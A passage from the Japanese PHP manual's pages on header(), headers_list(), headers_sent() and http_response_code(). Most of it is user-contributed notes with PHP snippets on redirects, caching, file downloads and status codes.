  Now, here's my big point. I have the Cache-Control and Pragma headers sent only if not IE. THESE HEADERS WILL PREVENT DOWNLOAD ON IE!!! Only use the Expires header, after all, it will require the file to be downloaded again the next time. This is not a bug! IE stores downloads in the Temporary Internet Files folder until the download is complete. I know this because once I downloaded a huge file to My Documents, but the Download Dialog box put it in the Temp folder and moved it at the end. Just think about it. If IE requires the file to be downloaded to the Temp folder, setting the Cache-Control and Pragma headers will cause an error!

I hope this saves someone some time!
~Cody G.
Marcel G 01-Apr-2010 06:37
Several times this one is asked on the net but an answer could not be found in the docs on php.net ...

If you want to redirect an user and tell him he will be redirected, e. g. "You will be redirected in about 5 secs. If not, click here." you cannot use header( 'Location: ...' ) as you can't sent any output before the headers are sent.

So, either you have to use the HTML meta refresh thingy or you use the following:

<?php
  header( "refresh:5;url=wherever.php" );
  echo 'You\'ll be redirected in about 5 secs. If not, click <a href="wherever.php">here</a>.';
?>

Hth someone
Refugnic 03-Feb-2010 05:43
My files are in a compressed state (bz2). When the user clicks the link, I want them to get the uncompressed version of the file.

After decompressing the file, I ran into the problem, that the download dialog would always pop up, even when I told the dialog to 'Always perform this operation with this file type'.

As I found out, the problem was in the header directive 'Content-Disposition', namely the 'attachment' directive.

If you want your browser to simulate a plain link to a file, either change 'attachment' to 'inline' or omit it alltogether and you'll be fine.

This took me a while to figure out and I hope it will help someone else out there, who runs into the same problem.
this dot person at joaocunha dot eti dot br 26-Jan-2010 10:39
AVOID ZERO BYTE ORDER MARK!

Header MUST be sent before EVERYTHING in the page. Even a single space will break your script. In my case, there was BOM setted in the encoding, so I opened the file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.
dev at omikrosys dot com 16-Oct-2009 10:45
Just to inform you all, do not get confused between Content-Transfer-Encoding and Content-Encoding

Content-Transfer-Encoding specifies the encoding used to transfer the data within the HTTP protocol, like raw binary or base64. (binary is more compact than base64. base64 having 33% overhead).
Eg Use:- header('Content-Transfer-Encoding: binary');

Content-Encoding is used to apply things like gzip compression to the content/data.
Eg Use:- header('Content-Encoding: gzip');
scott at lucentminds dot com 16-Oct-2009 04:42
If you want to remove a header and keep it from being sent as part of the header response, just provide nothing as the header value after the header name. For example...

PHP, by default, always returns the following header:

"Content-Type: text/html"

Which your entire header response will look like

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Content-Type: text/html; CHARSET=shift-jis
Connection: close

If you call the header name with no value like so...

<?php

    header( 'Content-Type:' );

?>

Your headers now look like this:

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Connection: close
Anonymous 31-Jul-2009 08:02
I just want to add, becuase I see here lots of wrong formated headers.

1. All used headers have first letters uppercase, so you MUST follow this. For example:

Location, not location
Content-Type, not content-type, nor CONTENT-TYPE

2. Then there MUST be colon and space, like

good: header("Content-Type: text/plain");
wrong: header("Content-Type:text/plain");

3. Location header MUST be absolute uri with scheme, domain, port, path, etc.

good: header("Location: http://www.example.com/something.php?a=1");

4. Relative URIs are NOT allowed

wrong:  Location: /something.php?a=1
wrong:  Location: ?a=1

It will make proxy server and http clients happier.
mjt at jpeto dot net 17-Jul-2009 11:01
I strongly recommend, that you use

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");

instead of

header("HTTP/1.1 404 Not Found");

I had big troubles with an Apache/2.0.59 (Unix) answering in HTTP/1.0 while I (accidentially) added a "HTTP/1.1 200 Ok" - Header.

Most of the pages were displayed correct, but on some of them apache added weird content to it:

A 4-digits HexCode on top of the page (before any output of my php script), seems to be some kind of checksum, because it changes from page to page and browser to browser. (same code for same page and browser)

"0" at the bottom of the page (after the complete output of my php script)

It took me quite a while to find out about the wrong protocol in the HTTP-header.
Jamesb 08-Mar-2009 05:25
Here is a php script I wrote to stream a file and crypt it with a xor operation on the bytes and with a key :

The encryption works very good but the speed is decrease by 2, it is now 520KiB/s. The user is now asked for a md5 password (instead of keeping it in the code directly). There is some part in French because it's my native language so modify it as you want.

<?php
// Stream files and encrypt the data on-the-fly

// Settings
// -- File to stream
$file = "FILE_out";
// -- Reading buffer
$bufferlength = 3840;
// -- Key in hex
//$keychar = "9cdfb439c7876e703e307864c9167a15";

// Function: Convertion hex key in a string into binary
function hex2bin($h) {
    if (!is_string($h)) return null;
    $r = array();
    for ($a=0; ($a*2)<strlen($h); $a++) {
        $ta = hexdec($h[2*$a]);
        $tb = hexdec($h[(2*$a+1)]);
        $r[$a] = (int) (($ta << 4) + $tb);
    }
    return $r;
}

// Function to send the auth headers
function askPassword($text="Enter the password") {
    header('WWW-Authenticate: Basic realm="'. utf8_decode($text) .'"');
    header('HTTP/1.0 401 Unauthorized');
    return 1;
}

// Key is asked at the first start
if (!isset($_SERVER['PHP_AUTH_PW'])) {
    askPassword();
    echo "Une cle est necessaire !<br />";
    exit;
}
// Get the key in hex
$keychar = $_SERVER['PHP_AUTH_PW'];

// Convert key and set the size of the key
$key = hex2bin($keychar);
$keylength = count($key);
// Teste si la cle est valide en hex
if ($key == "" || $keylength <= 4) {
    askPassword("Cle incorrecte !");
    //echo "Cle incorrecte !<br />";
    exit();
}
// Teste si la cle est de longueur d'une puissance de 2
if ( ($keylength%2) != 0) {
    askPassword("Cle de longueur incorrecte (multiple de 2 uniquement)");
    //echo "Cle de longueur incorrecte (puissance de 2 uniquement)<br />";
    exit();
}

// Headers
header("Content-Type: application/octet-stream; ");
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($file) ."; ");
header("filename=\"".$file."\"; ");
flush(); // this doesn't really matter.

// Opening the file in read-only
$fp = fopen($file, "r");
while (!feof($fp))
{
    // Read a buffer size of the file
    $buffer = fread($fp, $bufferlength);
    $j=0;
    for ($i=0; $i < $bufferlength; $i++) {
        // The key is read in loop to crypt the whole file
        if ($i%$keylength == 0) {
            $j=0;
        }
        // Apply a xor operation between the key and the file to crypt
        // This operation eats a lots of CPU time (Stream at 1MiB/s on my server; Intel E2180)
        $tmp = pack("C", $key[$j]);
        $bufferE = ( $buffer[$i]^$tmp); // <==== Le fameux XOR

        /*
        echo "<br />key[".$j."]: ";
        var_dump($tmp);
        echo "<br />buffer[".$i."]: ";
        var_dump($buffer[$i]);
        echo "<br />bufferE: ";
        var_dump($bufferE);
        echo "<br />";
        //*/

        // Send the encrypted data
        echo $bufferE;
        // Clean the memory
        $bufferE = "";
        $j++;
    }
    $buffer = "";
    flush(); // this is essential for large downloads
    /*
    fclose($fp);
    exit();
    //*/
}
// Close the file and it's finished
fclose($fp);

?>
bebertjean at yahoo dot fr 05-Dec-2008 05:46
If using the 'header' function for the downloading of files, especially if you're passing the filename as a variable, remember to surround the filename with double quotes, otherwise you'll have problems in Firefox as soon as there's a space in the filename.

So instead of typing:

<?php
  header("Content-Disposition: attachment; filename=" . basename($filename));
?>

you should type:

<?php
  header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
?>

If you don't do this then when the user clicks on the link for a file named "Example file with spaces.txt", then Firefox's Save As dialog box will give it the name "Example", and it will have no extension.

See the page called "Filenames_with_spaces_are_truncated_upon_download" at
http://kb.mozillazine.org/ for more information. (Sorry, the site won't let me post such a long link...)
jamie 01-Dec-2008 07:57
The encoding of a file is discovered by the Content-Type, either in the HTML meta tag or as part of the HTTP header. Thus, the server and browser does not need - nor expect - a Unicode file to begin with a BOM mark. BOMs can confuse *nix systems too. More info at http://unicode.org/faq/utf_bom.html#bom1

On another note: Safari can display CMYK images (at least the OS X version, because it uses the services of QuickTime)
mzheng[no-spam-thx] at ariba dot com 23-Oct-2008 08:50
For large files (100+ MBs), I found that it is essential to flush the file content ASAP, otherwise the download dialog doesn't show until a long time or never.

<?php
header("Content-Disposition: attachment; filename=" . urlencode($file));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file));
flush(); // this doesn't really matter.

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush(); // this is essential for large downloads
}
fclose($fp);
?>
shutout2730 at yahoo dot com 21-Aug-2008 11:57
It is important to note that headers are actually sent when the first byte is output to the browser. If you are replacing headers in your scripts, this means that the placement of echo/print statements and output buffers may actually impact which headers are sent. In the case of redirects, if you forget to terminate your script after sending the header, adding a buffer or sending a character may change which page your users are sent to.

This redirects to 2.html since the second header replaces the first.

<?php
header("location: 1.html");
header("location: 2.html"); //replaces 1.html
?>

This redirects to 1.html since the header is sent as soon as the echo happens. You also won't see any "headers already sent" errors because the browser follows the redirect before it can display the error.

<?php
header("location: 1.html");
echo "send data";
header("location: 2.html"); //1.html already sent
?>

Wrapping the previous example in an output buffer actually changes the behavior of the script! This is because headers aren't sent until the output buffer is flushed.

<?php
ob_start();
header("location: 1.html");
echo "send data";
header("location: 2.html"); //replaces 1.html
ob_end_flush(); //now the headers are sent
?>
sk89q 16-Aug-2008 11:41
You can use HTTP's etags and last modified dates to ensure that you're not sending the browser data it already has cached.

<?php
$last_modified_time = filemtime($file);
$etag = md5_file($file);

header("Last-Modified: ".gmdate("D, d M Y H:i:s", $last_modified_time)." GMT");
header("Etag: $etag");

if (@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == $last_modified_time ||
    trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag) {
    header("HTTP/1.1 304 Not Modified");
    exit;
}
?>
Dylan at WeDefy dot com 13-Oct-2007 08:17
A quick way to make redirects permanent or temporary is to make use of the $http_response_code parameter in header().

<?php
// 301 Moved Permanently
header("Location: /foo.php",TRUE,301);

// 302 Found
header("Location: /foo.php",TRUE,302);
header("Location: /foo.php");

// 303 See Other
header("Location: /foo.php",TRUE,303);

// 307 Temporary Redirect
header("Location: /foo.php",TRUE,307);
?>

The HTTP status code changes the way browsers and robots handle redirects, so if you are using header(Location:) it's a good idea to set the status code at the same time.  Browsers typically re-request a 307 page every time, cache a 302 page for the session, and cache a 301 page for longer, or even indefinitely.  Search engines typically transfer "page rank" to the new location for 301 redirects, but not for 302, 303 or 307. If the status code is not specified, header('Location:') defaults to 302.
Kal 29-Jul-2007 01:07
I spent a long time trying to determine why Internet Explorer 7 wasn't prompting the user to save a download based on the filename specified on a "'Content-Disposition: attachment; filename=..." header line.

I eventually determined that my Apache installation was adding an additional header: "Vary: Host", which was throwing IE - as per http://support.microsoft.com/kb/824847

I found manually setting the Vary header from within PHP as follows header('Vary: User-Agent'); allowed IE to behave as intended.

Hope this saves someone else some time,

- Kal
nobileelpirata at hotmail dot com 02-Jun-2007 03:04
This is the Headers to force a browser to use fresh content (no caching) in HTTP/1.0 and HTTP/1.1:

<?PHP
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );

?>
mandor at mandor dot net 14-Feb-2006 05:14
When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol.

Here's how:

<?php

    // Test image.
    $fn = '/test/foo.png';

    // Getting headers sent by the client.
    $headers = apache_request_headers();

    // Checking if the client is validating his cache and if it is current.
    if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == filemtime($fn))) {
        // Client's cache IS current, so we just respond '304 Not Modified'.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 304);
    } else {
        // Image not cached or cache outdated, we respond '200 OK' and output the image.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 200);
        header('Content-Length: '.filesize($fn));
        header('Content-Type: image/png');
        print file_get_contents($fn);
    }

?>

That way foo.png will be properly cached by the client and you'll save bandwith. :)
jp at webgraphe dot com 21-Nov-2003 03:56
A call to session_write_close() before the statement

<?php
    header("Location: URL");
    exit();
?>

is recommended if you want to be sure the session is updated before proceeding to the redirection.

We encountered a situation where the script accessed by the redirection wasn't loading the session correctly because the precedent script hadn't the time to update it (we used a database handler).

JP.
bMindful at fleetingiamge dot org 31-May-2003 03:08
If you haven't used, HTTP Response 204 can be very convenient. 204 tells the server to immediately termiante this request. This is helpful if you want a javascript (or similar) client-side function to execute a server-side function without refreshing or changing the current webpage. Great for updating database, setting global variables, etc.

     header("status: 204");  (or the other call)
     header("HTTP/1.0 204 No Response");


送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す

  • ≪ header
  • headers_sent ≫
  • PHP Manual
  • ネットワーク 関数
  • 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す

headers_list

(PHP 5, PHP 7, PHP 8)

headers_list — 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す

説明

headers_list ( ) : array

headers_list() はブラウザもしくはクライアントに送信されるヘッダの数値配列を返します。 これらのヘッダが送信されたかどうかを判断するためには headers_sent() を使用します。

返り値

ヘッダを、数値添字の配列で返します。

例

例1 headers_list() の使用例

<?php

/* setcookie() でレスポンスヘッダをそれ自身に追加します */
setcookie('foo', 'bar');

/* 独自のレスポンスヘッダを定義します。
   これはほとんどのクライアントで無視されます */
header("X-Sample-Test: foo");

/* レスポンスがプレーンテキストだと宣言します */
header('Content-type: text/plain');

/* 送信しようとしているヘッダは? */
var_dump(headers_list());

?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(23) "X-Powered-By: PHP/5.1.3"
  [1]=>
  string(19) "Set-Cookie: foo=bar"
  [2]=>
  string(18) "X-Sample-Test: foo"
  [3]=>
  string(24) "Content-type: text/plain"
}

注意

注意:

ヘッダにアクセスできたりヘッダを出力したりするのは、 それに対応した SAPI を使っている場合のみです。

参考

  • headers_sent() - ヘッダが既に送信されているかどうかを調べる
  • header() - 生の HTTP ヘッダを送信する
  • setcookie() - クッキーを送信する
  • apache_response_headers() - HTTPレスポンスヘッダを全て取得する
  • http_response_code() - HTTP レスポンスコードを取得または設定

User Contributed Notes

arnold at jasny dot net 26-Jan-2017 04:31
This function won't work for when you're running PHP from the command line. If will always return an empty array. This can be an issue when testing your project using PHPUnit or Codeception.

To solve this, install the xdebug extension and use `xdebug_get_headers` when on the cli.

<?php
$headers = php_sapi_name() === 'cli' ? xdebug_get_headers() : headers_list();
?>
Anonymous 11-Oct-2012 12:50
note that it does not return the status header

<?php

header('HTTP/1.1 301 Moved Permanently', true, 301);

header('foo: bar');
header('a: b');
header('colon less example');

print_r(headers_list());
?>

Array
(
    [0] => X-Powered-By: PHP/5.4.7
    [1] => foo: bar
    [2] => a: b
)
SOLO2 13-Jul-2012 04:00
Function to check if a particular header has been added to the list:

<?php

function header_sent($header) {
    $headers = headers_list();
    $header = trim($header,': ');
    $result = false;

    foreach ($headers as $hdr) {
        if (stripos($hdr, $header) !== false) {
            $result = true;
        }
    }

    return $result;
}

?>


ヘッダが既に送信されているかどうかを調べる

  • ≪ headers_list
  • http_response_code ≫
  • PHP Manual
  • ネットワーク 関数
  • ヘッダが既に送信されているかどうかを調べる

headers_sent

(PHP 4, PHP 5, PHP 7, PHP 8)

headers_sent — ヘッダが既に送信されているかどうかを調べる

説明

headers_sent ( string &$filename = null , int &$line = null ) : bool

ヘッダがすでに送信されているかどうかを調べます。

ヘッダブロックがいったん送信されてしまった後で header() 関数を使って新たなヘッダ行を送信することはできません。 この関数を使うには、少なくとも HTTP ヘッダ関連のエラーを予防する必要があります。 あるいは、出力バッファリング を使う方法もあります。

パラメータ

filename

オプション引数の filename と line がセットされている場合、 PHP のソースファイル名と出力が開始された行番号が、それぞれ filename と line に格納されます。

line

出力を開始した行番号。

返り値

headers_sent() は、HTTP ヘッダがまだ送信されていない場合に false、 そうでないでない場合に true を返します。

例

例1 headers_sent() 関数の使用例

<?php

// ヘッダがまだ何も送信されていない場合に、送信します
if (!headers_sent()) {
    header('Location: http://www.example.com/');
    exit;
}

// オプションのfileとlineパラメータの使用例
// $filename と $linenum が後で使用されていることに注目。
// これらの変数に事前に値を与えたりしてはいけません。
if (!headers_sent($filename, $linenum)) {
    header('Location: http://www.example.com/');
    exit;

// おそらく、ここでエラー処理を行うでしょう。
} else {

    echo "$filename の $linenum 行目でヘッダがすでに送信されています。\n" .
          "リダイレクトできません。代わりにこの <a " .
          "href=\"http://www.example.com\">リンク</a> をクリックしてください。\n";
    exit;
}

?>

注意

注意:

ヘッダにアクセスできたりヘッダを出力したりするのは、 それに対応した SAPI を使っている場合のみです。

参考

  • ob_start() - 出力のバッファリングを有効にする
  • trigger_error() - ユーザーレベルのエラー/警告/通知メッセージを生成する
  • headers_list() - 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す
  • 関連する詳細な情報については header() - 生の HTTP ヘッダを送信する

User Contributed Notes

rojasredes at gmail dot com 04-Jun-2018 01:59
Remember to save source code file *.php with UTF-8 without BOM.
If saved with UTF-8 BOM the next code allways return "true":

<?php
if headers_sent($source,$numline)
{
    die("true");
}
else
{
    die("false");
}
?>

Even when $numline is 1, and there is any character before <?php
and after ?>

Save file without BOM and everything will be ok, then.
szczepan.krol[et]gmail[*]com 21-Oct-2010 02:10
Here a function to check also if any other outout is already sent:
<?php

function output_send(){
    if (!headers_sent() && error_get_last()==NULL ) {
        return false;

    }
    return true;
}
?>
Jase 08-Apr-2009 06:42
This is becoming annoying the amount of posts to try and describe the behaviour of headers

Headers appear first in the data sent to the user's browser

if headers have been called using the header() function but no data has been sent to the output buffer (using echo, readfile etc), then the headers are sent at the end of script execution otherwise they are sent when the buffer reaches it's limit and emptied

simple

this means that headers_sent() will return false if nothing is sent to the output buffer because the headers are being sent at the end of the script

This is not a bug either, this is expected behaviour. Keeping headers until forced to send them out is a good idea because certain measures can be taken like prevention of meta injection etc (option in header() to replace headers that have not yet been sent)

besides, headers_sent() is good for when you try and send headers but the output buffer has already been emptied (in cases of php error handling for example). Obviously if the buffer has emtpied, sending headers won't work.
yesmarklapointe at hotmail dot com 21-Oct-2008 06:07
I was having trouble getting my mind around the concepts involved. Here is my dilemma and the conclusion I reached in case recounting them can help others:

I am using WAMPserver: PHP 5.2.6, and Apache 2.2.8 on Windows XP SP3. If it matters to your duplication,
I found two php.ini files in WAMPserver where output_buffering had been set to 4096. I changed them to OFF for this testing.

Here is how you can replicate what I am experiencing: With IE 7.0 go to Tools ... Display ieHTTPheaders ... and run the following script repeatedly and watch what happens:

<?php
header( 'Expires: Mon, 26 Jul 1998 05:00:00 GMT' );
//var_dump(headers_sent());
//print("whatever");
//flush();
//echo "whatever";
var_dump(headers_sent());
?>

Result: the final var_dump of the headers_sent() function will
always return FALSE unless any one or  more of the commented lines above it are uncommented. Uncommenting the statements allows an output to be sent to the user not just to their browser, after which the final var_dump will return TRUE. What I found confusing was that the ieHTTPheaders tool shows that the header is being sent to the user's browser even when all the output lines are commented out. So why does headers_sent() return FALSE in this case? Because you can keep sending other headers. The headers_sent function is meant to alert one to when no further headers can be sent. My testing shows it does not return true unless some other output is also sent after the header, thereby signaling that  "Headers have been sent and concluded with user output. NOW you can't send any more headers."

Someone else worked his way through this problem in a (false) bug report: http://bugs.php.net/bug.php?id=30264
Here is the relevant part of the reply from the pro:
"When you use compression the entire page is buffered in memory, until end of the request. Consequently you can send headers at any time because no data is being actually sent to user when you print it. Until PHP actually decides to send any page output to the user you can still send additional headers which is why the headers_sent() function is returning false. It will return true, indicating that headers have been sent  only at a time when output began going to the user and you no longer can send any additional headers."

So in summary, my point is that there is a difference between headers being sent only to the browser (which can be followed by other headers) vs. headers being sent and concluded by output for the user. The function should have been given a more clear name like headers_concluded().
loaded67 at hotmail dot com 17-Feb-2008 10:54
very handy function!

When working with GD I made something like:

<?php
class image{

    /**
     * show
     * sends image to browser and destroy the resource if headers not sent.
     * use php constants IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG
     *
     * @final
     * @static
     * @access public
     * @param resource $resource
     * @param int $type
     */
    final static public function show($resource, $type){
        if(!headers_sent()){
            header('Cache-control: private');
            switch($type){
                case IMAGETYPE_GIF :    header('Content-type: image/gif');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.gif');
                                        imagegif($resource);
                                        break;
                case IMAGETYPE_JPEG :     header('Content-type: image/jpeg');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.jpg');
                                        imagejpeg($resource, NULL, 99);
                        break;
                case IMAGETYPE_PNG :     header('Content-type: image/png');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.png');
                                        imagepng($resource, NULL, 0,  NULL);
                        break;
            }
            imagedestroy($resource);
            exit;
        }
    }
}
?>

This way if you are debugging... and flush output... you will not get the endless list of headers allready send errors...

Hope it's helpfull... ;)
vasnake at gmail dot com 22-Jul-2007 03:55
In my case, when I install PHP 5.2.1 in CGI mode under Apache 2.2.3 (on windows 2003 SP2),
function sent_headers() always return false. flash(), ob_end_flash(), so on... no matter.
I suppose, Apache buffering all PHP output until exit()
collectours at free dot fr 18-Jun-2007 02:32
In response to K.Tomono and alexrussell101 at gmail dot com :

Yes,
headers_sent() will return false, even if you sent something to the ouptut using print() or header() , if output_buffering is different from Off in you php.ini, and the length of what you sent does not exceed the size of output_buffering.

To test it, try this code with  these values in php.ini
1) output_buffering=32
2) output buffering = 4096

[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
    echo "enough text to feed the buffer until it overflows ;-)<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]

then put
3) output buffering = Off
and try this code
[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]
which will this time unconditionnally say that headers were sent.

This is noticed in php.ini comment :
"Output buffering allows you to send header lines (including cookies) even after you send body content, in the price of slowing PHP's output layer a bit."

Note : This is completly independant of implicit_flush tuning.
Jakob B. 07-Jan-2006 03:03
<?php
function redirect($filename) {
    if (!headers_sent())
        header('Location: '.$filename);
    else {
        echo '<script type="text/javascript">';
        echo 'window.location.href="'.$filename.'";';
        echo '</script>';
        echo '<noscript>';
        echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
        echo '</noscript>';
    }
}
redirect('http://www.google.com');
?>
trevize (shtrudel) gmail.com 30-Nov-2005 06:43
Note that in IIS (or at least the version that comes with W2K server), the server seems to do some buffering, so even if you output someting or cause a warning, the value of headers_sent() may be false because the headers haven't been sent yet.

So it's not a safe way to know if warnings have been encountered in your script.
Terry 10-Feb-2005 07:58
For programmers used to Perl, note that sending a relative 'Location:' header sends a redirect to the browser in PHP, unlike Perl which will attempt to call relative URLs using an internal subrequest and return that page to the browser without redirecting.  If you want to do the same trick in PHP, use include() or virtual().
php at fufachew dot REMOVEME dot com 28-Feb-2004 11:26
RE: antti at haapakangas dot net's post

I've changed the code so $_SERVER['SERVER_NAME'] is used if $_SERVER['HTTP_HOST'] is not set.  $_SERVER['SERVER_NAME'] doesn't meet my needs, but I suppose it's good to fall back on it.  I've also fixed a problem in the meta refresh line - it was missing the "url=" part of the content attribute.

<?php
function server_url()
{
    $proto = "http" .
        ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "") . "://";
    $server = isset($_SERVER['HTTP_HOST']) ?
        $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
    return $proto . $server;
}

function redirect_rel($relative_url)
{
    $url = server_url() . dirname($_SERVER['PHP_SELF']) . "/" . $relative_url;
    if (!headers_sent())
    {
        header("Location: $url");
    }
    else
    {
        echo "<meta http-equiv=\"refresh\" content=\"0;url=$url\">\r\n";
    }
}
?>
antti at haapakangas dot net 28-Jan-2004 12:39
Re: php at fufachew dot com

That's a nice example how to implement Location header in a correct way (using absoluteURI). 95% of the scripts I have seen just use relativeURI which is wrong. Some browsers, for example lynx, actually notify user about incomplete Location headers. However it might be safer to use $_SERVER['SERVER_NAME'] instead of $_SERVER['HTTP_HOST']. Host header is a HTTP/1.1 feature and you can not count on that if you want to be interoperable with HTTP/1.0 implementations.


HTTP レスポンスコードを取得または設定

  • ≪ headers_sent
  • inet_ntop ≫
  • PHP Manual
  • ネットワーク 関数
  • HTTP レスポンスコードを取得または設定

http_response_code

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

http_response_code — HTTP レスポンスコードを取得または設定

説明

http_response_code ( int $response_code = 0 ) : int|bool

HTTP レスポンスのステータスコードを取得したり設定したりします。

パラメータ

response_code

オプションの response_code は、レスポンスコードを設定します。

返り値

response_code を指定した場合は、変更前に設定されていたステータスコードを返します。 response_code を省略した場合は、現在のステータスコードを返します。 どちらの場合でも、Web サーバー環境におけるデフォルトのステータスコードは 200 です。

response_code が省略されており、 かつ Web サーバー環境以外 (CLI アプリケーションなど) で実行した場合には、false を返します。 response_code を指定して、 かつ Web サーバー環境以外 (CLI アプリケーションなど) で実行した場合 (ただし、事前にレスポンスのステータスが設定されていない場合に限る) には、true を返します。

例

例1 Web サーバー環境における http_response_code() の使用例

<?php

// 現在のレスポンスコードを取得して、新しいコードを設定します
var_dump(http_response_code(404));

// 新しいレスポンスコードを取得します
var_dump(http_response_code());
?>

上の例の出力は以下となります。

int(200)
int(404)

例2 CLI 環境における http_response_code() の使用例

<?php

// 現在のデフォルトのレスポンスコードを取得します
var_dump(http_response_code());

// レスポンスコードを設定します
var_dump(http_response_code(201));

// 新しいレスポンスコードを取得します
var_dump(http_response_code());
?>

上の例の出力は以下となります。

bool(false)
bool(true)
int(201)

参考

  • header() - 生の HTTP ヘッダを送信する
  • headers_list() - 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す

User Contributed Notes

viaujoc at videotron dot ca 24-Nov-2020 12:53
Do not mix the use of http_response_code() and manually setting  the response code header because the actual HTTP status code being returned by the web server may not end up as expected. http_response_code() does not work if the response code has previously been set using the header() function. Example:

<?php
header('HTTP/1.1 401 Unauthorized');
http_response_code(403);
print(http_response_code());
?>

The raw HTTP response will be (notice the actual status code on the first line does not match the printed http_response_code in the body):

HTTP/1.1 401 Unauthorized
Date: Tue, 24 Nov 2020 13:49:08 GMT
Server: Apache
Connection: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: text/html; CHARSET=shift-jis

403

I only tested it on Apache. I am not sure if this behavior is specific to Apache or common to all PHP distributions.
divinity76 at gmail dot com 09-Apr-2020 08:33
if you need a response code not supported by http_response_code(), such as WebDAV / RFC4918's "HTTP 507 Insufficient Storage", try:

<?php
header($_SERVER['SERVER_PROTOCOL'] . ' 507 Insufficient Storage');
?>
result: something like

HTTP/1.1 507 Insufficient Storage
Anonymous 08-Jun-2018 09:16
http_response_code() does not actually send HTTP headers, it only prepares the header list to be sent later on.
So you can call http_reponse_code() to set, get and reset the HTTP response code before it gets sent.

Test code:
<php
http_response_code(500);  // set the code
var_dump(headers_sent());  // check if headers are sent
http_response_code(200);  // avoid a default browser page
Chandra Nakka 06-Aug-2017 02:41
On PHP 5.3 version, If you want to set HTTP response code. You can try this type of below trick :)

<?php

header('Temporary-Header: True', true, 404);
header_remove('Temporary-Header');

?>
divinity76 at gmail dot com 28-Nov-2016 02:53
warning, it does not check if headers are already sent (if it is, it won't *actually* change the code, but a subsequent call will imply that it did!!),

you might wanna do something like
function ehttp_response_code(int $response_code = NULL): int {
    if ($response_code === NULL) {
        return\ http_response_code();
    }
    if (\headers_sent()) {
        throw new\ Exception('tried to change http response code after sending headers!');
    }
    return\ http_response_code($response_code);
}
Kubo2 19-Mar-2016 10:18
If you want to set a HTTP response code without the need of specifying a protocol version, you can actually do it without http_response_code():

<?php

header('Status: 404', TRUE, 404);

?>
Thomas A. P. 03-Nov-2015 12:46
When setting the response code to non-standard ones like 420, Apache outputs 500 Internal Server Error.

This happens when using header(0,0,420) and http_response_code(420).
Use header('HTTP/1.1 420 Enhance Your Calm') instead.

Note that the response code in the string IS interpreted and used in the access log and output via http_response_code().
zweibieren at yahoo dot com 27-Apr-2015 01:30
The limited list given by Stefan W is out of date. I have just tested 301 and 302 and both work.
Steven 15-Mar-2015 01:12
http_response_code is basically a shorthand way of writing a http status header, with the added bonus that PHP will work out a suitable Reason Phrase to provide by matching your response code to one of the values in an enumeration it maintains within php-src/main/http_status_codes.h. Note that this means your response code must match a response code that PHP knows about. You can't create your own response codes using this method, however you can using the header method.

In summary - The differences between "http_response_code" and "header" for setting response codes:

1. Using http_response_code will cause PHP to match and apply a Reason Phrase from a list of Reason Phrases that are hard-coded into the PHP source code.

2. Because of point 1 above, if you use http_response_code you must set a code that PHP knows about. You can't set your own custom code, however you can set a custom code (and Reason Phrase) if you use the header method.
yefremov {dot} sasha () gmail {dot} com 20-Jan-2015 04:59
@craig at craigfrancis dot co dot uk@ wrote the function that replaces the original. It is very usefull, but has a bug. The original http_response_code always returns the previous or current code, not the code you are setting now. Here is my fixed version. I also use $GLOBALS to store the current code, but trigger_error() instead of exit. So now, how the function will behave in the case of error lies on the error handler. Or you can change it back to exit().

if (!function_exists('http_response_code')) {
    function http_response_code($code = NULL) {
        $prev_code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

        if ($code === NULL) {
            return $prev_code;
        }

        switch ($code) {
            case 100: $text = 'Continue'; break;
            case 101: $text = 'Switching Protocols'; break;
            case 200: $text = 'OK'; break;
            case 201: $text = 'Created'; break;
            case 202: $text = 'Accepted'; break;
            case 203: $text = 'Non-Authoritative Information'; break;
            case 204: $text = 'No Content'; break;
            case 205: $text = 'Reset Content'; break;
            case 206: $text = 'Partial Content'; break;
            case 300: $text = 'Multiple Choices'; break;
            case 301: $text = 'Moved Permanently'; break;
